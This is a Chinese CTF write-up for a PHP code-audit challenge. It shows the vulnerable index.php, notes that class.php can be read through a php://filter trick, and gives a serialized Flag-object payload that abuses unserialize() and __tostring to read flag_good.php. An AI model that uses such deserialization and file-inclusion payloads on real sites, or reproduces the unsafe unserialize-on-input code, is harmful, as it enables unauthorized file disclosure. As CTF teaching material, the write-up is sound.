涉及知识点:序列化、反序列化unserialize()、魔术方法__tostring

又是一道代码审计的题,源码index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
//include("./class.php");
header("content-type:text/html;charset=utf-8");
error_reporting(0);
if(isset($_GET["file"])){
$file = $_GET["file"];
if(isset($_GET["password"])){
$password = $_GET["password"];
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
require_once($file);
highlight_file("$file");
$password = unserialize($password);
echo $password;
}
}else{
echo "需要密码的!<br>";
}
}else{
highlight_file('./index.php');
}

if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
?>

看第一行代码,发现有一个class.php文件,但访问发现不能直接访问,但可以用php://filter将这个php文件中的代码以base64的形式输出在页面上
1
通过base64解码,得到class.php
2
class.php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- hello friend! -->
<?php
class Flag{//flag_good.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good<br>");
}
}
}
?>

在这个文件中我们看到flag_good.php,推测flag应该在这个文件里,但是index.php里对file参数有限制不能包含flag,所以不能直接访问flag_good.php。
再阅读代码,发现
3
如果file的值中不包含flag,那么就能把这个文件包含进来,之后将password反序列化一下,并输出password的结果。
在class.php中当Flag方法当做字符串执行时,会自动执行 __tostring 方法(只知道这是个php魔术方法,具体作用是什么我也没搞懂,只是看别人写的wp知道是这样写然后拿的flag,emmmmm这个地方暂时存疑叭),如果file文件存在,就输出file文件中的内容。
所以首先我们可以利用第一句require_once将class.php引进来,即让参数file=class.php,则在index.php也就有了Flag这一类的定义,最后就要靠password这个参数了,要让password成为一个Flag类,且password->file=’flag_good.php’,这样就可以在输出password的时候调用__tostring这个方法。unserialize()函数是个反序列化函数,所以我们要构造一个序列化后的password,写个php脚本利用一下serialize()这个函数。4
得到我们需要的序列化结果
5
将该值赋给password即可,所以构造url:

1
?file=class.php&password=O:4:"Flag":1:{s:4:"file";s:13:"flag_good.php";}

6
查看源代码即可拿到flag
7